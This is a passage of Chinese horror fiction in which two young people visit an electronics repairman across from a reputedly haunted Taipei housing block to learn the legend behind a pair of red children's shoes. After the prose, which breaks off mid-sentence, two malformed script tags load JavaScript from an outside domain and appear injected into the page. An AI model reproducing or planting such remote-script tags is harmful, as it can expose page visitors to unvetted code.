但画面太模糊了,他无法确定。
他关掉手机,闭上眼睛。脑子里像是有无数个碎片在旋转——西宁国宅的田字型走廊、四楼被胶带贴住的按钮、楼梯间上吊的绳子、走廊尽头的小手印、皮球、红鞋、镜子上的“等”字——
“等”。
等什么?
等谁?
等他们回去吗?
他想起阿坤师说的那句话:“不是凶,是满。”
满。像是有什么东西太多了,多到溢出来,多到整栋楼都装不下,所以要往外找。要找新的——
新的什么?
新的玩伴。
刘丞翰打了个寒颤,把羽绒外套裹得更紧。
## 四
早上七点,天刚亮,刘丞翰就把林语棠叫醒了。
两个人在便利商店买了咖啡和饭团,骑上机车往西门町的方向去。白天的西宁南路跟夜晚完全是两个世界——骑楼下卖电子零件的小贩已经开张,音响店传出测试喇叭的砰砰声,市场里鱼贩的吆喝声此起彼落。西宁国宅就矗立在那里,灰扑扑的,像是一个宿醉未醒的老人,被清晨的阳光照得睁不开眼。
阿坤师的音响维修店就在国宅正对面,一个大约五坪大小的狭长空间。门口的招牌已经褪色到几乎看不清字,橱窗里堆满了各式各样的扩大机、喇叭、还有叫不出名字的电子零件。
刘丞翰推开玻璃门,门上的风铃叮当作响。
“进来。”阿坤师的声音从里面传来。
他坐在工作台后面,面前摆着一台拆开的扩大机,手里拿着一支烙铁。桌上有一杯已经凉了的茶,旁边放着一个菸灰缸,里面有七八个菸屁股。他看起来一夜没睡——眼窝凹陷,眼白布满血丝,但眼神却异常清醒。
“坐。”阿坤师指了指工作台前的两张折叠椅。
刘丞翰和林语棠坐下来。刘丞翰把那双红色小鞋放在工作台上。
阿坤师看了那双鞋一眼,没有伸手去拿。他放下烙铁,点了一根烟,深深地吸了一口。
“我昨天晚上,”他慢慢说,“回去之后,查了一些资料。”
“什么资料?”
“关于这双鞋。”阿坤师用烟头指了指那双红色小鞋,“你知不知道,在西宁国宅的传说里面,有一个很有名的故事?”
刘丞翰摇头。
“大约二十年前,”阿坤师
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">